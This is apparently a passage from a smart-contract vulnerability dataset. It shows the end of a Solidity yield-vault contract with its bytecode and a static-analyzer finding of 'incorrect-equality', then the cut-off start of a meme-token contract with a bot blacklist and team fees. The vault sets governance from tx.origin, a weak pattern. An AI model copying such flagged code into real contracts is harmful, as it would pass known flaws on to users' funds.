to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Controller { function withdraw(address, uint) external; function balanceOf(address) external view returns (uint); function earn(address, uint) external; } contract GOFVaultV2 is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; uint public min = 9500; uint public constant max = 10000; uint public earnLowerlimit; //池内空余资金到这个值就自动earn address public governance; address public controller; constructor (address _token, string memory _symbol, address _controller, uint _earnLowerlimit) public ERC20Detailed( string(abi.encodePacked("golff ", ERC20Detailed(_token).name())), string(abi.encodePacked("G-V2", _symbol)), ERC20Detailed(_token).decimals() ) { token = IERC20(_token); governance = tx.origin; controller = _controller; earnLowerlimit = _earnLowerlimit; } function balance() public view returns (uint) { return token.balanceOf(address(this)) .add(Controller(controller).balanceOf(address(token))); } function setMin(uint _min) external { require(msg.sender == governance, "Golff:!governance"); min = _min; } function setGovernance(address _governance) public { require(msg.sender == governance, "Golff:!governance"); governance = _governance; } function setController(address _controller) public { require(msg.sender == governance, "Golff:!governance"); controller = _controller; } function setEarnLowerlimit(uint256 _earnLowerlimit) public{ require(msg.sender == governance, "Golff:!governance"); earnLowerlimit = _earnLowerlimit; } // Custom logic in here for how much the vault allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint) { return token.balanceOf(address(this)).mul(min).div(max); } function earn() public { uint _bal = available(); token.safeTransfer(controller, _bal); Controller(controller).earn(address(token), _bal); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint _amount) public { uint _pool = balance(); uint _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); if (token.balanceOf(address(this))>earnLowerlimit){ earn(); } } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint _shares) public { uint r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint b = token.balanceOf(address(this)); if (b < r) { uint _withdraw = r.sub(b); Controller(controller).withdraw(address(token), _withdraw); uint _after = token.balanceOf(address(this)); uint _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } token.safeTransfer(msg.sender, r); } function getPricePerFullShare() public view returns (uint) { return balance().mul(1e18).div(totalSupply()); } }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80638e087c7811610104578063b69ef8a8116100a2578063de5f626811610071578063de5f62681461083e578063f77c479114610848578063f889794514610892578063fc0c546a146108b0576101cf565b8063b69ef8a814610770578063b6b55f251461078e578063d389800f146107bc578063dd62ed3e146107c6576101cf565b806395d89b41116100de57806395d89b41146105dd578063a457c2d714610660578063a9059cbb146106c6578063ab033ea91461072c576101cf565b80638e087c781461054d578063909d3f4c1461056b57806392eefe9b14610599576101cf565b806345dc3dd8116101715780636ac5db191161014b5780636ac5db19146104af57806370a08231146104cd57806377c7b8fc14610525578063853828b614610543576101cf565b806345dc3dd81461041957806348a0d754146104475780635aa6e67514610465576101cf565b806323b872dd116101ad57806323b872dd146102db5780632e1a7d4d14610361578063313ce5671461038f57806339509351146103b3576101cf565b806306fdde03146101d4578063095ea7b31461025757806318160ddd146102bd575b600080fd5b6101dc6108fa565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021c578082015181840152602081019050610201565b50505050905090810190601f1680156102495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102a36004803603604081101561026d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061099c565b604051808215151515815260200191505060405180910390f35b6102c56109ba565b6040518082815260200191505060405180910390f35b610347600480360360608110156102f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109c4565b604051808215151515815260200191505060405180910390f35b61038d6004803603602081101561037757600080fd5b8101908080359060200190929190505050610a9d565b005b610397610e27565b604051808260ff1660ff16815260200191505060405180910390f35b6103ff600480360360408110156103c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e3e565b604051808215151515815260200191505060405180910390f35b6104456004803603602081101561042f57600080fd5b8101908080359060200190929190505050610ef1565b005b61044f610fbe565b6040518082815260200191505060405180910390f35b61046d6110c7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104b76110ed565b6040518082815260200191505060405180910390f35b61050f600480360360208110156104e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110f3565b6040518082815260200191505060405180910390f35b61052d61113b565b6040518082815260200191505060405180910390f35b61054b61117d565b005b610555611190565b6040518082815260200191505060405180910390f35b6105976004803603602081101561058157600080fd5b8101908080359060200190929190505050611196565b005b6105db600480360360208110156105af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611263565b005b6105e561136a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561062557808201518184015260208101905061060a565b50505050905090810190601f1680156106525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106ac6004803603604081101561067657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061140c565b604051808215151515815260200191505060405180910390f35b610712600480360360408110156106dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114d9565b604051808215151515815260200191505060405180910390f35b61076e6004803603602081101561074257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114f7565b005b6107786115fe565b6040518082815260200191505060405180910390f35b6107ba600480360360208110156107a457600080fd5b81019080803590602001909291905050506117ec565b005b6107c4611b61565b005b610828600480360360408110156107dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cc2565b6040518082815260200191505060405180910390f35b610846611d49565b005b610850611e2d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61089a611e53565b6040518082815260200191505060405180910390f35b6108b8611e59565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109925780601f1061096757610100808354040283529160200191610992565b820191906000526020600020905b81548152906001019060200180831161097557829003601f168201915b5050505050905090565b60006109b06109a9611e7f565b8484611e87565b6001905092915050565b6000600254905090565b60006109d184848461207e565b610a92846109dd611e7f565b610a8d85604051806060016040528060288152602001612eeb60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a43611e7f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123349092919063ffffffff16565b611e87565b600190509392505050565b6000610ad2610aaa6109ba565b610ac484610ab66115fe565b6123f490919063ffffffff16565b61247a90919063ffffffff16565b9050610ade33836124c4565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b7f57600080fd5b505afa158015610b93573d6000803e3d6000fd5b505050506040513d6020811015610ba957600080fd5b8101908080519060200190929190505050905081811015610dd5576000610bd9828461267c90919063ffffffff16565b9050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3fef3a3600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610ca657600080fd5b505af1158015610cba573d6000803e3d6000fd5b505050506000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610d5f57600080fd5b505afa158015610d73573d6000803e3d6000fd5b505050506040513d6020811015610d8957600080fd5b810190808051906020019092919050505090506000610db1848361267c90919063ffffffff16565b905082811015610dd157610dce81856126c690919063ffffffff16565b94505b5050505b610e223383600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661274e9092919063ffffffff16565b505050565b6000600560009054906101000a900460ff16905090565b6000610ee7610e4b611e7f565b84610ee28560016000610e5c611e7f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c690919063ffffffff16565b611e87565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fb4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a21676f7665726e616e636500000000000000000000000000000081525060200191505060405180910390fd5b8060068190555050565b60006110c26127106110b4600654600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561106b57600080fd5b505afa15801561107f573d6000803e3d6000fd5b505050506040513d602081101561109557600080fd5b81019080805190602001909291905050506123f490919063ffffffff16565b61247a90919063ffffffff16565b905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61271081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006111786111486109ba565b61116a670de0b6b3a764000061115c6115fe565b6123f490919063ffffffff16565b61247a90919063ffffffff16565b905090565b61118e611189336110f3565b610a9d565b565b60075481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611259576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a21676f7665726e616e636500000000000000000000000000000081525060200191505060405180910390fd5b8060078190555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611326576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a21676f7665726e616e636500000000000000000000000000000081525060200191505060405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114025780601f106113d757610100808354040283529160200191611402565b820191906000526020600020905b8154815290600101906020018083116113e557829003601f168201915b5050505050905090565b60006114cf611419611e7f565b846114ca85604051806060016040528060258152602001612fa76025913960016000611443611e7f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123349092919063ffffffff16565b611e87565b6001905092915050565b60006114ed6114e6611e7f565b848461207e565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a21676f7665726e616e636500000000000000000000000000000081525060200191505060405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006117e7600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156116c457600080fd5b505afa1580156116d8573d6000803e3d6000fd5b505050506040513d60208110156116ee57600080fd5b8101908080519060200190929190505050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561179e57600080fd5b505afa1580156117b2573d6000803e3d6000fd5b505050506040513d60208110156117c857600080fd5b81019080805190602001909291905050506126c690919063ffffffff16565b905090565b60006117f66115fe565b90506000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561189957600080fd5b505afa1580156118ad573d6000803e3d6000fd5b505050506040513d60208110156118c357600080fd5b81019080805190602001909291905050509050611925333085600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661281f909392919063ffffffff16565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156119c657600080fd5b505afa1580156119da573d6000803e3d6000fd5b505050506040513d60208110156119f057600080fd5b81019080805190602001909291905050509050611a16828261267c90919063ffffffff16565b935060008090506000611a276109ba565b1415611a3557849050611a64565b611a6184611a53611a446109ba565b886123f490919063ffffffff16565b61247a90919063ffffffff16565b90505b611a6e3382612925565b600754600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611b1057600080fd5b505afa158015611b24573d6000803e3d6000fd5b505050506040513d6020811015611b3a57600080fd5b81019080805190602001909291905050501115611b5a57611b59611b61565b5b5050505050565b6000611b6b610fbe565b9050611bdc600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661274e9092919063ffffffff16565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b02bf4b9600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015611ca757600080fd5b505af1158015611cbb573d6000803e3d6000fd5b5050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611e2b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611deb57600080fd5b505afa158015611dff573d6000803e3d6000fd5b505050506040513d6020811015611e1557600080fd5b81019080805190602001909291905050506117ec565b565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612f596024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e826022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612104576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612f346025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561218a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3d6023913960400191505060405180910390fd5b6121f581604051806060016040528060268152602001612ea4602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123349092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612288816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906123e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123a657808201518184015260208101905061238b565b50505050905090810190601f1680156123d35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808314156124075760009050612474565b600082840290508284828161241857fe5b041461246f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612eca6021913960400191505060405180910390fd5b809150505b92915050565b60006124bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ae0565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561254a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612f136021913960400191505060405180910390fd5b6125b581604051806060016040528060228152602001612e60602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123349092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061260c8160025461267c90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60006126be83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612334565b905092915050565b600080828401905083811015612744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b61281a838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612ba6565b505050565b61291f848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612ba6565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6129dd816002546126c690919063ffffffff16565b600281905550612a34816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008083118290612b8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b51578082015181840152602081019050612b36565b50505050905090810190601f168015612b7e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612b9857fe5b049050809150509392505050565b612bc58273ffffffffffffffffffffffffffffffffffffffff16612df1565b612c37576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310612c865780518252602082019150602081019050602083039250612c63565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612ce8576040519150601f19603f3d011682016040523d82523d6000602084013e612ced565b606091505b509150915081612d65576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115612deb57808060200190516020811015612d8457600080fd5b8101908080519060200190929190505050612dea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612f7d602a913960400191505060405180910390fd5b5b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b8214158015612e335750808214155b9250505091905056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820caeacf35cff1f47a5aeec206264c208341dba3a54dd5811af5464dffe543c86464736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
3,868
0xa925351d5d86b6273296da3815d414670ed86fda
// Welcome to ElonProfessor, join us on telegram: https://t.me/ProfessorDumbleDoreeeee // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SparkDoge is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = " SparkDoge.finance "; string private constant _symbol = " SparkDoge "; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function 